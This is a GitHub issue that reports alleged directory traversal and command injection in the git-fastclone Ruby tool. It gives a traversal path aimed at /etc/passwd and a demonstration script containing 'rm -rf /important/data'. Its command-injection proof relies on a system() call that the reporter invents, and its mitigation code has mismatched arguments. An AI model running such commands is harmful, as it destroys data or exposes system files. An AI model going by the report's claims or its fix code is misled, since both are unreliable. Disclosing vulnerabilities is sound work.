Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Insecure File Handling Leading to Potential Command Injection #70

Open
hackergandhi opened this issue Jun 2, 2024 · 0 comments
Open

Comments

@hackergandhi
Copy link

location: https://github.com/square/git-fastclone/tree/master/lib

Overview of the Vulnerability

The git-fastclone.rb script contains insecure file handling practices that can be exploited to perform unauthorized file access and potentially lead to command injection. This vulnerability is exacerbated by the potential for chaining with other vulnerabilities, such as command execution without proper validation.

Affected Components

Script: git-fastclone.rb
- Functions:

  • File.open
  • Dir.glob
  • FileUtils.mkdir_p
  • File.expand_path

Vulnerability Details

1) Insecure File Handling

  • File.open:
File.open(lock_file_name, File::RDWR | File::CREAT, 0o644)

Issue: lock_file_name is not validated, allowing potential unauthorized file access.

  • Dir.glob:
dest_with_dotfiles = Dir.glob("#{clone_dest}/*", File::FNM_DOTMATCH)

Issue: clone_dest is not sanitized, allowing directory traversal attacks.

  • FileUtils.mkdir_p:
FileUtils.mkdir_p(reference_dir)

Issue: reference_dir is created without validation, possibly leading to unintended directories.

  • File.expand_path:
File.expand_path(hook_command)

Issue: hook_command is expanded without validation, allowing path traversal.

2) Potential Command Injection

If an attacker can manipulate file paths and place malicious scripts, they might exploit the application's command execution logic.

Steps to Reproduce

1) Directory Traversal and File Manipulation

  • Inject a malicious file path into clone_dest and observe unauthorized file access.
  • Example: Set clone_dest to a path containing ../../ to traverse directories.

Example Code to Reproduce

# Simulated malicious input
clone_dest = "/tmp/../../../../etc/passwd"

# Insecure file handling
dest_with_dotfiles = Dir.glob("#{clone_dest}/*", File::FNM_DOTMATCH)
puts dest_with_dotfiles

2) Steps to Reproduce Command Injection

  1. Set Up the Environment:
  • Create a directory that the application will scan and potentially execute scripts from.
  • In this example, we'll use /tmp/attacker-controlled.
  1. Create a Malicious Script:
  • Place a script named malicious.sh in the directory that will execute arbitrary commands.
  • The script could contain something harmful like deleting files or echoing a message to demonstrate the exploit.
  1. Execute the Vulnerable Code:
  • Run the application or the vulnerable code snippet with the attacker-controlled directory.

Detailed Steps

  1. Create the Attacker-Controlled Directory:
mkdir -p /tmp/attacker-controlled
  1. Create the Malicious Script:
echo 'echo "Malicious code executed"; rm -rf /important/data' > /tmp/attacker-controlled/malicious.sh
chmod +x /tmp/attacker-controlled/malicious.sh
  1. Run the Vulnerable Code:
  • Assume the following Ruby code is part of the application:
clone_dest = "/tmp/attacker-controlled"
dest_with_dotfiles = Dir.glob("#{clone_dest}/*", File::FNM_DOTMATCH)

dest_with_dotfiles.each do |file|
  system("sh #{file}")  # This executes the malicious script
end
  1. Execute the Vulnerable Script:
  • Run the Ruby script or the part of the application where the vulnerable code exists.
  • The malicious script should execute, demonstrating the command injection vulnerability.

Expected Outcome

  • When the vulnerable code executes, you should see the output from the malicious script:
    Malicious code executed
  • Additionally, if the script contained a harmful command like rm -rf /important/data, it would execute that command, demonstrating the potential severity of the vulnerability.

Impact

  • Confidentiality: Unauthorized access to sensitive files.
  • Integrity: Potential file modification leading to corrupted or malicious files.
  • Availability: Disruption of service by altering or deleting critical files.

Conclusion:

Properly sanitizing and validating file paths, restricting file permissions, and securely handling command execution can significantly reduce the risk of exploitation. Implementing these mitigations will help protect against unauthorized access and potential command injection vulnerabilities.

Mitigation Code Example:

require 'pathname'

# Example of safer file handling with Pathname
def secure_file_open(path, mode)
  safe_path = Pathname.new(path).cleanpath
  raise "Invalid path" unless safe_path.ascend.all? { |p| p.absolute? }
  File.open(safe_path, mode)
end

# Usage of the secure_file_open method
lock_file_name = "/some/lock/file" # This should be derived safely
secure_file_open(lock_file_name, File::RDWR | File::CREAT, 0o644) do |file|
  # Perform operations on the file
end

# Example of secure directory traversal prevention
def secure_dir_glob(pattern)
  safe_pattern = Pathname.new(pattern).cleanpath.to_s
  raise "Invalid pattern" if safe_pattern.include?("..")
  Dir.glob(safe_pattern, File::FNM_DOTMATCH)
end

# Usage of the secure_dir_glob method
clone_dest = "/some/clone/dest"
dest_with_dotfiles = secure_dir_glob("#{clone_dest}/*")
@hackergandhi hackergandhi changed the title Insecure File Handling Leading to Potential Command Injection Submitted at Last activity Insecure File Handling Leading to Potential Command Injection Jun 2, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant